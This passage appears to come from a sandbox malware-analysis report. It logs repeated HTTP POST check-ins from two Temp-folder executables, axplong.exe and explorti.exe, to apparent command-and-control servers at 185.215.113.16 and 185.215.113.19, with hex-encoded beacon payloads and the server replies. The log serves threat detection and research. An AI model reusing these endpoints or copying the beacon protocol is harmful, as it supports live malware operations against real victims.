Jul 26, 2024 10:37:30.353709936 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:31.099011898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:21.826584101 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:41:22.607434034 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49872	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:30.561537981 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:31.311789989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:41:24.573261023 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:41:25.394521952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49875	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:31.455334902 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:32.229147911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:32.304342985 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:32.553381920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:26.101550102 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:41:26.864115000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49876	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:31.482146978 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:32.251452923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:26.861866951 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:41:27.678930998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49880	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:32.426294088 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:33.251334906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:33.285993099 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:33.567276955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49882	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:32.713885069 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:33.524646044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:33.525511026 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:33.793534040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49884	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:33.725945950 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:34.562500000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49885	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:34.244432926 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:35.025881052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:35.027893066 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:35.274070024 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:30.379944086 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:41:31.152930021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49886	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:34.579677105 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:35.361371040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:30.413101912 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:41:31.161632061 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49887	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:35.393578053 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:36.161195993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:36.163438082 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:36.436137915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49888	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:35.562707901 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:36.269298077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:36.275640011 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:36.524353027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49889	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:36.565459967 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:37.366390944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:37.404758930 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:37.658806086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
